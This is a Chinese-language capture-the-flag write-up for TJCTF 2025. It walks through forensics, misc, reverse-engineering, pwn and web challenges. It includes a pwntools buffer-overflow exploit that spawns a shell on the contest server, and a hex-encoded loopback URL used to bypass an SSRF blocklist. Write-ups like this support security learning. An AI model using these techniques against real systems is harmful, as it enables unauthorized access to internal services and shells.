TJCTF 2025

crypto

forensics

hidden-message

i found this suspicious image file on my computer. can you help me figure out what's hidden inside?
给了一张图片,先去看属性信息和十六进制内容并未发现异常,拖入stegsolve中查看是否为lsb隐写,按图示勾选拿到flag。
image

deep-layers

Not everything ends where it seems to...
原本以为是在二进制查看下在文件末尾写了flag,但是并没有看到,不过看到了压缩文件标志性的PK字符,故想办法去分离文件。
image
分离出来后分别有一个png文件和一个zip文件,其中zip文件解压缩需要密码。
image
去查看png的十六进制,发现了疑似password的字段和base64编码后的内容,拿去base64解码得到压缩包密码
image
image
解压缩后以文本形式查看拿到flag
image

misc

discord

Welcome to TJCTF 2025! Check out our Discord server for announcements and updates.
在官方discord的announcement频道即可直接看到flag
image

guess-my-number

You only get ten tries to guess the number correctly, but I tell you if your guess is too high or too low
nc tjc.tf 31700
题目给了一个python文件,查看后是后端代码。

#!/usr/local/bin/python
import random

flag = open("flag.txt").read().strip()
r = random.randint(1, 1000)
guessed = False
for i in range(10):
    guess = int(input("Guess a number from 1 to 1000: "))
    if guess > r:
        print("Too high")
    elif guess < r:
        print("Too low")
    else:
        guessed = True
        break
if guessed == True:
    print(f"You won, the flag is {flag}")
else:
    print(f"You lost, the number was {r}")

逻辑很简单,就是通过反馈大小在1到1000猜数。只需要写一个二分法查找的脚本即可。

import socket

def main():
    host = 'tjc.tf'
    port = 31700

    # 创建socket连接
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    print(f"Connected to {host}:{port}")

    # 使用makefile简化读写
    f = s.makefile('rw', buffering=1)

    low = 1
    high = 1000
    guessed = False

    # 尝试最多10次
    for _ in range(10):
        mid = (low + high) // 2
        # 发送猜测的数字
        f.write(str(mid) + '\n')

        # 读取服务器响应
        response = f.readline().strip()
        print(f"Guess {mid}: {response}")

        if "Too high" in response:
            high = mid - 1
        elif "Too low" in response:
            low = mid + 1
        elif "You won" in response:
            print("Flag found in response!")
            print(response)
            guessed = True
            break

    # 如果10次未命中,读取最终失败消息
    if not guessed:
        final_msg = f.readline().strip()
        print(final_msg)

    # 关闭连接
    f.close()
    s.close()


if __name__ == "__main__":
    main()

image

mouse-trail

i was tracking my mouse movements while working on some secret documents. the data got corrupted and now i have thousands of coordinate pairs logged. can you help me figure out what i was drawing?
给了一个txt文档,每一行都是一个坐标点,另外根据题目描述,这个坐标点就是记录的鼠标坐标的日志,我们只需根据坐标点做题即可生成一幅图片。

import matplotlib.pyplot as plt


# 从文件中读取坐标数据
def read_coordinates_from_file(file_path):
    x_coords = []
    y_coords = []

    with open(file_path, 'r') as file:
        for line in file:
            # 去除空白字符并跳过空行
            line = line.strip()
            if not line:
                continue

            # 分割坐标
            parts = line.split(',')
            if len(parts) < 2:
                continue

            try:
                # 尝试转换为整数
                x = int(parts[0])
                y = int(parts[1])
                x_coords.append(x)
                y_coords.append(y)
            except ValueError:
                # 忽略无法转换的行
                continue

    return x_coords, y_coords


# 主函数
def main():
    # 替换为你的文件路径
    file_path = 'mouse_movements.txt'  # 更改为你的实际文件名

    # 读取坐标数据
    try:
        x_coords, y_coords = read_coordinates_from_file(file_path)
    except FileNotFoundError:
        print(f"错误: 找不到文件 {file_path}")
        return

    print(f"成功读取 {len(x_coords)} 个坐标点")

    # 创建图形
    plt.figure(figsize=(12, 8))

    # 绘制散点图
    plt.scatter(x_coords, y_coords,
                s=10,  # 点的大小
                alpha=0.6,  # 透明度
                color='blue',  # 颜色
                edgecolor='none')  # 无边缘颜色

    # 添加标题和标签
    plt.title('坐标点分布图', fontsize=16)
    plt.xlabel('X 坐标', fontsize=12)
    plt.ylabel('Y 坐标', fontsize=12)

    # 添加网格
    plt.grid(True, linestyle='--', alpha=0.7)

    # 调整布局
    plt.tight_layout()

    # 保存图像
    output_file = 'coordinates_plot.png'
    plt.savefig(output_file, dpi=300)
    print(f"图像已保存为 {output_file}")

    # 显示图像
    plt.show()


if __name__ == "__main__":
    main()

image
能隐隐看出这就是flag,能确定的是花括号前的内容一定是tjctf,可以看出存在上下偏转,对图像进行上下翻转的操作后即可看到flag。
image

pwn

i-love-birds

Birds are cool. nc tjc.tf 31625
题目给了c的原文档,和编译后的elf文件

#include <stdio.h>
#include <stdlib.h>

void gadget() {
    asm("push $0x69;pop %rdi");
}


void win(int secret) {
    if (secret == 0xA1B2C3D4) {
        system("/bin/sh");
    }
}


int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    unsigned int canary = 0xDEADBEEF;

    char buf[64];

    puts("I made a canary to stop buffer overflows. Prove me wrong!");
    gets(buf);

    if (canary != 0xDEADBEEF) {
        puts("No stack smashing for you!");
        exit(1);
    }


    return 0;
}

可以看到作者用自己定义的变量试图模拟canary的功能,但是因为不是随机值所以直接按照所给内容进行覆盖,另外还看到有后门函数直接把返回地址改到system相关语句即可,不用管前面的判断语句。

from pwn import *
from LibcSearcher import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./birds')
#libc = ELF('./libc.so.6')
#io = process('./pwn')
io = remote('tjc.tf',31625)

backdoor = 0x4011DC
canary = b'\xEF\xBE\xAD\xDE'
io.recvuntil("I made a canary to stop buffer overflows. Prove me wrong!")
payload = b'a' * 76 + canary + p64(0) + p64(backdoor)
io.sendline(payload)
io.interactive()

image

reverse

guess-again

What happens if you press the button?
是比较新颖的逆向题目方式,通过excel表格中的宏指令来进行逆向分析。
image
对checkflag宏指令进行编辑可以查看判断逻辑。


Sub CheckFlag()
    Dim guess As String
    guess = ActiveSheet.Shapes("TextBox 1").TextFrame2.TextRange.Text

    If Len(guess) < 7 Then
        MsgBox "Incorrect"
        Exit Sub
    End If

    If Left(guess, 6) <> "tjctf{" Or Right(guess, 1) <> "}" Then
        MsgBox "Flag must start with tjctf{ and end with }"
        Exit Sub
    End If

    Dim inner As String
    inner = Mid(guess, 7, Len(guess) - 7)

    Dim expectedCodes As Variant
    expectedCodes = Array(98, 117, 116, 95, 99, 52, 110, 95, 49, 116, 95, 114, 117, 110, 95, 100, 48, 48, 109)
    Dim i As Long
    If Len(inner) <> (UBound(expectedCodes) - LBound(expectedCodes) + 1) Then
        MsgBox "Incorrect"
        Exit Sub
    End If
    For i = 1 To Len(inner)
        If Asc(Mid(inner, i, 1)) <> expectedCodes(i - 1) Then
            MsgBox "Incorrect"
            Exit Sub
        End If
    Next i

    MsgBox "Flag correct!"
End Sub



Function check(str, arr, idx1, idx2) As Boolean
    If Mid(str, idx1, 1) = Chr(arr(idx2)) Then
        check = True
    Else
        check = False
End Function

直接将expectedCodes = Array(98, 117, 116, 95, 99, 52, 110, 95, 49, 116, 95, 114, 117, 110, 95, 100, 48, 48, 109)转换为char类型即可得到but_c4n_1t_run_d00m,加上tjctf{}即可

web

loopy

Can you access the admin page? Running on port 5000
image
当我们想要让他解析自己的5000端口的admin页面时发现有黑名单,选择合适方法绕过。
http://0x7f000001:5000/admin
image
提交即可拿到flag
image